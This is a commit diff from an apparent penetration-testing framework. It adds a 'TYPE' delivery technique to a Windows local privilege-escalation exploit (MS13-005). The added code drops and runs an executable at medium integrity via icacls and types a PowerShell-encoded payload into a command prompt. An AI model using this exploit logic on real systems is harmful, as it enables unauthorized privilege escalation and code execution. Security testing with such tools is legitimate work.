Skip to content

Commit 234e49d

Browse files
committed
Add type technique
1 parent cdb0e68 commit 234e49d

File tree

2 files changed

+23
-10
lines changed

2 files changed

+23
-10
lines changed

lib/msf/core/exploit/powershell.rb

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -8,9 +8,9 @@ def initialize(info = {})
88
super
99
register_options(
1010
[
11-
OptBool.new('PERSIST', [true, 'Run the payload in a loop', false]),
12-
OptBool.new('PSH_OLD_METHOD', [true, 'Use powershell 1.0', false]),
13-
OptBool.new('RUN_WOW64', [
11+
OptBool.new('PSH::PERSIST', [true, 'Run the payload in a loop', false]),
12+
OptBool.new('PSH::OLD_METHOD', [true, 'Use powershell 1.0', false]),
13+
OptBool.new('PSH::RUN_WOW64', [
1414
true,
1515
'Execute powershell in 32bit compatibility mode, payloads need native arch',
1616
false

modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb

Lines changed: 20 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -12,10 +12,11 @@
1212
class Metasploit3 < Msf::Exploit::Local
1313
Rank = ExcellentRanking
1414

15+
include Msf::Exploit::Powershell
1516
include Msf::Exploit::EXE
1617
include Msf::Exploit::Remote::HttpServer
17-
include Msf::Post::File
1818
include Msf::Exploit::FileDropper
19+
include Msf::Post::File
1920

2021
def initialize(info={})
2122
super( update_info( info,
@@ -31,7 +32,11 @@ def initialize(info={})
3132
affects versions Windows Vista, 7, 8, Server 2008, Server 2008 R2, Server 2012, RT.
3233
But Spawning a command prompt with the shortcut key does not work in Vista so you will
3334
have to check if the user is already running a command prompt and set SPAWN_PROMPT
34-
false.
35+
false. The WEB technique will use powershell to download and execute a powershell
36+
encoded payload. The FILE technique will drop an executable to the file system, set it
37+
to medium integrity and execute it. The TYPE technique will attempt to execute a
38+
powershell encoded payload directly from the command line but it may take some time to
39+
complete.
3540
},
3641
'License' => MSF_LICENSE,
3742
'Author' =>
@@ -61,14 +66,14 @@ def initialize(info={})
6166
register_options(
6267
[
6368
OptBool.new('SPAWN_PROMPT', [true, 'Attempts to spawn a medium integrity command prompt', true]),
64-
OptBool.new('FILESYSTEM', [true, 'Drop payload to filesystem and execute', false])
69+
OptEnum.new('TECHNIQUE', [true, 'Delivery technique', 'WEB', ['WEB','FILE','TYPE']]),
70+
OptString.new('CUSTOM_COMMAND', [false, 'Custom command to type'])
71+
6572
], self.class
6673
)
6774

6875
end
6976

70-
# Refactor this into Post lib with adobe_sandbox_adobecollabsync.rb
71-
# Or use GetToken railgun calls?
7277
def low_integrity_level?
7378
tmp_dir = expand_path("%USERPROFILE%")
7479
cd(tmp_dir)
@@ -115,6 +120,7 @@ def cleanup
115120
vprint_status("Rehiding window...")
116121
client.railgun.user32.ShowWindow(@hwin, 0)
117122
end
123+
super
118124
end
119125

120126
def exploit
@@ -127,10 +133,11 @@ def exploit
127133
# hopefully will be "%TEMP%/Low" (IE Low Integrity Process case) where a low
128134
# integrity process can write.
129135
drop_to_fs = false
130-
if datastore["FILESYSTEM"]
136+
if datastore['TECHNIQUE'] == 'FILE'
131137
payload_file = "#{rand_text_alpha(5+rand(3))}.exe"
132138
begin
133139
tmp_dir = expand_path("%TEMP%")
140+
tmp_dir << "\\Low" unless tmp_dir[-3,3] =~ /Low/i
134141
cd(tmp_dir)
135142
print_status("Trying to drop payload to #{tmp_dir}...")
136143
if write_file(payload_file, generate_payload_exe)
@@ -151,10 +158,16 @@ def exploit
151158
if drop_to_fs
152159
command = "cd #{payload_path} && icacls #{payload_file} /setintegritylevel medium && #{payload_file}"
153160
make_it(command)
161+
elsif datastore['TECHNIQUE'] == 'TYPE'
162+
if datastore['CUSTOM_COMMAND']
163+
command = datastore['CUSTOM_COMMAND']
164+
else
165+
command = cmd_psh_payload(payload.encoded)
166+
end
167+
make_it(command)
154168
else
155169
super
156170
end
157-
158171
end
159172

160173
def primer

0 commit comments

Comments
 (0)